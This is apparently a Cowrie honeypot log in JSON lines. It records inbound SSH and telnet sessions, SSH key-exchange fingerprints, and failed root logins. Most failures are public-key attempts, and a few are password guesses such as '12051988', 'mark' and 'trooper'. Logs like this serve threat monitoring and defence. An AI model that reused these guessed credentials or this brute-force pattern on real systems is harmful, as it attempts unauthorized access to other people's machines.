{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":47290,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cbdefe523b1","protocol":"ssh","message":"New connection: 208.115.214.194:47290 (10.17.0.5:22) [session: 1cbdefe523b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:26.680256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:26.685230Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:26.763903Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:59:bc:1a:26:96:b2:09:bc:05:43:3e:2d:f2:62:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBHYfYvqmAl7CwZPhYlwuiKt2NR5IERvrMfTHxhyiAYzBxU+8KLLWlO/fU3+l7fwMyzg8Qgbakhyyp2cKi75d51/LzGbyen5oaKzCYABeww6FjrUPuAdbWfIZWf2CqZYWDfJpZJsnLrKNZOkKZPbVRYSDSWX0HhN0Qn2dRU3JEDsiQ8+IVDxxYgoIVztc9Q0X0a8Z5nChpoknEPrZIAPxI24x+QagntQLcyzR+4xIDKWnTEzdCRiru73q88EmDV/Dmt2PUQ1F8H98ByMReIRxkyMVZYSvO4rQMqFSo63rxwWUKmDafsNY5XWhvZJJtNiv7LIVwqw5mIG+IVnlXEtCakVMa6WZ6VNxWQZ4HHNG5jxgpr7XZ+cetR+BkNpYho6+n1DzGTQE+kIL/RJISFHKvawBwiBMuzDXtwI/te5cSIAq8CU4yJXdxwA0gD4GimyX9fWTkVtTq0RrEsoMGXMWfWwW9HR7SWBqjNeJiCtZrRnTeG6SmsiBPJlVITLvtfSU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:59:bc:1a:26:96:b2:09:bc:05:43:3e:2d:f2:62:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.132446Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:59:bc:1a:26:96:b2:09:bc:05:43:3e:2d:f2:62:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBHYfYvqmAl7CwZPhYlwuiKt2NR5IERvrMfTHxhyiAYzBxU+8KLLWlO/fU3+l7fwMyzg8Qgbakhyyp2cKi75d51/LzGbyen5oaKzCYABeww6FjrUPuAdbWfIZWf2CqZYWDfJpZJsnLrKNZOkKZPbVRYSDSWX0HhN0Qn2dRU3JEDsiQ8+IVDxxYgoIVztc9Q0X0a8Z5nChpoknEPrZIAPxI24x+QagntQLcyzR+4xIDKWnTEzdCRiru73q88EmDV/Dmt2PUQ1F8H98ByMReIRxkyMVZYSvO4rQMqFSo63rxwWUKmDafsNY5XWhvZJJtNiv7LIVwqw5mIG+IVnlXEtCakVMa6WZ6VNxWQZ4HHNG5jxgpr7XZ+cetR+BkNpYho6+n1DzGTQE+kIL/RJISFHKvawBwiBMuzDXtwI/te5cSIAq8CU4yJXdxwA0gD4GimyX9fWTkVtTq0RrEsoMGXMWfWwW9HR7SWBqjNeJiCtZrRnTeG6SmsiBPJlVITLvtfSU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.136632Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:18:b5:d3:6d:ac:34:86:2f:1b:fa:0a:c9:fc:48:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDN+41UTtV7PMDpsezZPhANAaZxLLv/ua2F5xBCuNV84k7ro0ELcnPAU3UFY6Y2YscBCtHWcD2oueIra3SxS2AsFbEENw9BEnlnFUSEjbyHMYLFTxKhaV8N4h/ENOh2lyuetBn7ZxrrbRkNw0OgrbuIJQRLU+/X2CkTM4tRJ8bE8nIfqGkYKVGrCWeOZrejEbKknDzHmaxPh+pP6rU1CWdp2D+UUYrw6UVBEC5jaeHJHhdJG+b3DqPIpvgD9ws8xSFJcU9gTyT7P5cLC4PUTEKYFru1yrvm1ssDqSgc9N0hYQNiFX5/nD+NiVTjZ4LnTX1E/p8WjGMIc1PtAuGJ8yqDI2S2LISVLfQNhtbjPqxoeST3rtGiOFW/npteR2WUBM953wZ8AJ+0VhNV9ugU6PJpbBUWKMyFgg/cEf+bMI7F8lXiyvyWHjFq0HceEEBzJSqRiSWPZy+b3zpC8Catv5keUAMNhR0cnlm6Hpl+HQRWUsTDwzFefL5q/savMVY7Y2vdZKRpdt7RUmdOBwk8XnVlTBwBXb/GVbFu7BEgBoXuNou5JVvZXQPlzmOFUe8BI4+GCdYTWi8zxyAb0d1KuoxFmZMqZ5s8mQreFnbVFnB1fTpSkS+kvT690Z9cEmZtDnds6HFdVG6dLFu0cU8pO5L3ji982m7N0U/w3jwWBQpC3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:18:b5:d3:6d:ac:34:86:2f:1b:fa:0a:c9:fc:48:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.218195Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:18:b5:d3:6d:ac:34:86:2f:1b:fa:0a:c9:fc:48:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDN+41UTtV7PMDpsezZPhANAaZxLLv/ua2F5xBCuNV84k7ro0ELcnPAU3UFY6Y2YscBCtHWcD2oueIra3SxS2AsFbEENw9BEnlnFUSEjbyHMYLFTxKhaV8N4h/ENOh2lyuetBn7ZxrrbRkNw0OgrbuIJQRLU+/X2CkTM4tRJ8bE8nIfqGkYKVGrCWeOZrejEbKknDzHmaxPh+pP6rU1CWdp2D+UUYrw6UVBEC5jaeHJHhdJG+b3DqPIpvgD9ws8xSFJcU9gTyT7P5cLC4PUTEKYFru1yrvm1ssDqSgc9N0hYQNiFX5/nD+NiVTjZ4LnTX1E/p8WjGMIc1PtAuGJ8yqDI2S2LISVLfQNhtbjPqxoeST3rtGiOFW/npteR2WUBM953wZ8AJ+0VhNV9ugU6PJpbBUWKMyFgg/cEf+bMI7F8lXiyvyWHjFq0HceEEBzJSqRiSWPZy+b3zpC8Catv5keUAMNhR0cnlm6Hpl+HQRWUsTDwzFefL5q/savMVY7Y2vdZKRpdt7RUmdOBwk8XnVlTBwBXb/GVbFu7BEgBoXuNou5JVvZXQPlzmOFUe8BI4+GCdYTWi8zxyAb0d1KuoxFmZMqZ5s8mQreFnbVFnB1fTpSkS+kvT690Z9cEmZtDnds6HFdVG6dLFu0cU8pO5L3ji982m7N0U/w3jwWBQpC3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.222325Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:a5:2d:33:d7:76:40:41:3f:22:85:c5:ec:04:94:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCta1dGfeEGxBJzPKLmaS5vU2T70wJtlNMhDJvJH2XKIw2DgwIShfkuKMRPBFFh87ASplbGVn3+jZCwJ2NTGlf7c/Octq+U+cezWxOO2UfKaIQnfOqxQCNWOflxPbfNw7VWqekCs/17k3EEAL5vW5mwVU0jCp1nic5Rp/QQL3wXb+7DZfpEuSHhKhrLVJ43tRQknvX+ESZoFQEKv51F52eoTVl6B+R8X0aboppoRmUMixvmU9BBu0+Jzs3X1RLzwEhs7UotoFH3ev6r9p0CHXcJprSkC9p4OZ5tjINjC89L0m/MBFz6OqOLme6EXUu8nTA43362V0yD/okH6Phl8N0KlAl9mf7npJ1n8VYfcFTI35P9kvUUZIAqsR6walGO/2Q1Mi6wEbKM25ODzCp5vGY7flaTKU9zYfCv6yzeWeeZDadXtX+XciRzvrJpdlCGEU/zVQekLCX/xMZRAJN+354WaWUX1LMWAjgoM3iUXS5mlpxXR7u6AwZ1jBMwT94jOMjObQhlDlMHYALFQ5CVK7dfoaR/F3NE1NuvCuNTDwniwprB6znv67RqKfNqTNkLtmn9zodHgqZApEYhXS/QpsdRIvZ7StQmsxj2Fg/Ug99TUmW10J5p69VB4CqWRnGia1w28WwkX/DUaSCbAFPqAkfP/UcWUIB4BjIlgsDHbueKow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:a5:2d:33:d7:76:40:41:3f:22:85:c5:ec:04:94:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.302145Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:a5:2d:33:d7:76:40:41:3f:22:85:c5:ec:04:94:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCta1dGfeEGxBJzPKLmaS5vU2T70wJtlNMhDJvJH2XKIw2DgwIShfkuKMRPBFFh87ASplbGVn3+jZCwJ2NTGlf7c/Octq+U+cezWxOO2UfKaIQnfOqxQCNWOflxPbfNw7VWqekCs/17k3EEAL5vW5mwVU0jCp1nic5Rp/QQL3wXb+7DZfpEuSHhKhrLVJ43tRQknvX+ESZoFQEKv51F52eoTVl6B+R8X0aboppoRmUMixvmU9BBu0+Jzs3X1RLzwEhs7UotoFH3ev6r9p0CHXcJprSkC9p4OZ5tjINjC89L0m/MBFz6OqOLme6EXUu8nTA43362V0yD/okH6Phl8N0KlAl9mf7npJ1n8VYfcFTI35P9kvUUZIAqsR6walGO/2Q1Mi6wEbKM25ODzCp5vGY7flaTKU9zYfCv6yzeWeeZDadXtX+XciRzvrJpdlCGEU/zVQekLCX/xMZRAJN+354WaWUX1LMWAjgoM3iUXS5mlpxXR7u6AwZ1jBMwT94jOMjObQhlDlMHYALFQ5CVK7dfoaR/F3NE1NuvCuNTDwniwprB6znv67RqKfNqTNkLtmn9zodHgqZApEYhXS/QpsdRIvZ7StQmsxj2Fg/Ug99TUmW10J5p69VB4CqWRnGia1w28WwkX/DUaSCbAFPqAkfP/UcWUIB4BjIlgsDHbueKow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.310376Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:6c:74:4b:64:1a:c9:30:68:fe:1d:13:55:7d:ac:5f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBFoYMUoUCKm7AvC9gqnwgjflZUOlTRuFPJ1iKcObG4t","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5e:6c:74:4b:64:1a:c9:30:68:fe:1d:13:55:7d:ac:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.392388Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:6c:74:4b:64:1a:c9:30:68:fe:1d:13:55:7d:ac:5f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBFoYMUoUCKm7AvC9gqnwgjflZUOlTRuFPJ1iKcObG4t","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.398946Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:ea:bc:86:7c:ff:c7:91:8d:4a:1e:13:41:27:cb:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2RA83bwuk3Efbodf25ERoGda/gjjZ7PABZoyDpBq1FT3LhERGxwQRU4qbSxeYhn0jJgEZhSKPEixVYA7gIhyD7oed2TFCT+KX8svgriWHUwjojS3N8cpGHmpZQoYfC3jWKnbvQkrR5KvBMxcvf4AzEl7mj3J8Oqb2JBuGclD+SfijwIqStuJp4IXwygr4rQDLayPxcNGv+T1GCrXl6Hnr6f+1K1IluLyYufbmtnWO2S2FtpDY0hAJqTvf5+KvaqSTn/5YSN/kbBpf2EW0JmzPymyU6D4kByCjZka5WOWOClRXK4Ijiw9Oh/jXDAt6O2/IuIj9arFLq+/zfwZrlxlkkPS70jo+kS6LluVzYmOJ4VsQhR126fAHv3t0IsyQxIDZbtnLkc1NtEbIN6aLC/TjQnEsTXZ8ZxTMElpLrN0ZngqG0Qf3Q76Neo4PAQCegoPPykqoaQcMOTwkXiLT7k38Fnkz5z3PNyieENRu71qYRcL/KNKsdSzlyrtYlSXpgXc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:ea:bc:86:7c:ff:c7:91:8d:4a:1e:13:41:27:cb:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.480904Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:ea:bc:86:7c:ff:c7:91:8d:4a:1e:13:41:27:cb:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2RA83bwuk3Efbodf25ERoGda/gjjZ7PABZoyDpBq1FT3LhERGxwQRU4qbSxeYhn0jJgEZhSKPEixVYA7gIhyD7oed2TFCT+KX8svgriWHUwjojS3N8cpGHmpZQoYfC3jWKnbvQkrR5KvBMxcvf4AzEl7mj3J8Oqb2JBuGclD+SfijwIqStuJp4IXwygr4rQDLayPxcNGv+T1GCrXl6Hnr6f+1K1IluLyYufbmtnWO2S2FtpDY0hAJqTvf5+KvaqSTn/5YSN/kbBpf2EW0JmzPymyU6D4kByCjZka5WOWOClRXK4Ijiw9Oh/jXDAt6O2/IuIj9arFLq+/zfwZrlxlkkPS70jo+kS6LluVzYmOJ4VsQhR126fAHv3t0IsyQxIDZbtnLkc1NtEbIN6aLC/TjQnEsTXZ8ZxTMElpLrN0ZngqG0Qf3Q76Neo4PAQCegoPPykqoaQcMOTwkXiLT7k38Fnkz5z3PNyieENRu71qYRcL/KNKsdSzlyrtYlSXpgXc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.486166Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:27.566614Z","src_ip":"208.115.214.194","session":"1cbdefe523b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57426,"dst_ip":"10.17.0.5","dst_port":22,"session":"19981a2034ef","protocol":"ssh","message":"New connection: 147.45.197.250:57426 (10.17.0.5:22) [session: 19981a2034ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:41.968420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:41.973060Z","src_ip":"147.45.197.250","session":"19981a2034ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:42.066469Z","src_ip":"147.45.197.250","session":"19981a2034ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051988","message":"login attempt [root/12051988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:42.336713Z","src_ip":"147.45.197.250","session":"19981a2034ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:43.430220Z","src_ip":"147.45.197.250","session":"19981a2034ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":44948,"dst_ip":"159.203.135.109","dst_port":22,"session":"d566057bb86f","protocol":"ssh","message":"New connection: 94.159.98.239:44948 (159.203.135.109:22) [session: d566057bb86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:51.115882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:51.160524Z","src_ip":"94.159.98.239","session":"d566057bb86f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:51.273034Z","src_ip":"94.159.98.239","session":"d566057bb86f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mark","message":"login attempt [root/mark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:51.996611Z","src_ip":"94.159.98.239","session":"d566057bb86f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:06:53.204625Z","src_ip":"94.159.98.239","session":"d566057bb86f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49714,"dst_ip":"159.203.135.109","dst_port":22,"session":"6329da2027a1","protocol":"ssh","message":"New connection: 103.172.78.219:49714 (159.203.135.109:22) [session: 6329da2027a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:07:24.807815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:07:24.813169Z","src_ip":"103.172.78.219","session":"6329da2027a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:07:25.058633Z","src_ip":"103.172.78.219","session":"6329da2027a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trooper","message":"login attempt [root/trooper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:07:25.796862Z","src_ip":"103.172.78.219","session":"6329da2027a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:07:27.048841Z","src_ip":"103.172.78.219","session":"6329da2027a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ba97821558","protocol":"telnet","message":"New connection: 135.148.14.151:35182 (159.203.135.109:23) [session: d1ba97821558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:07:38.859747Z"}
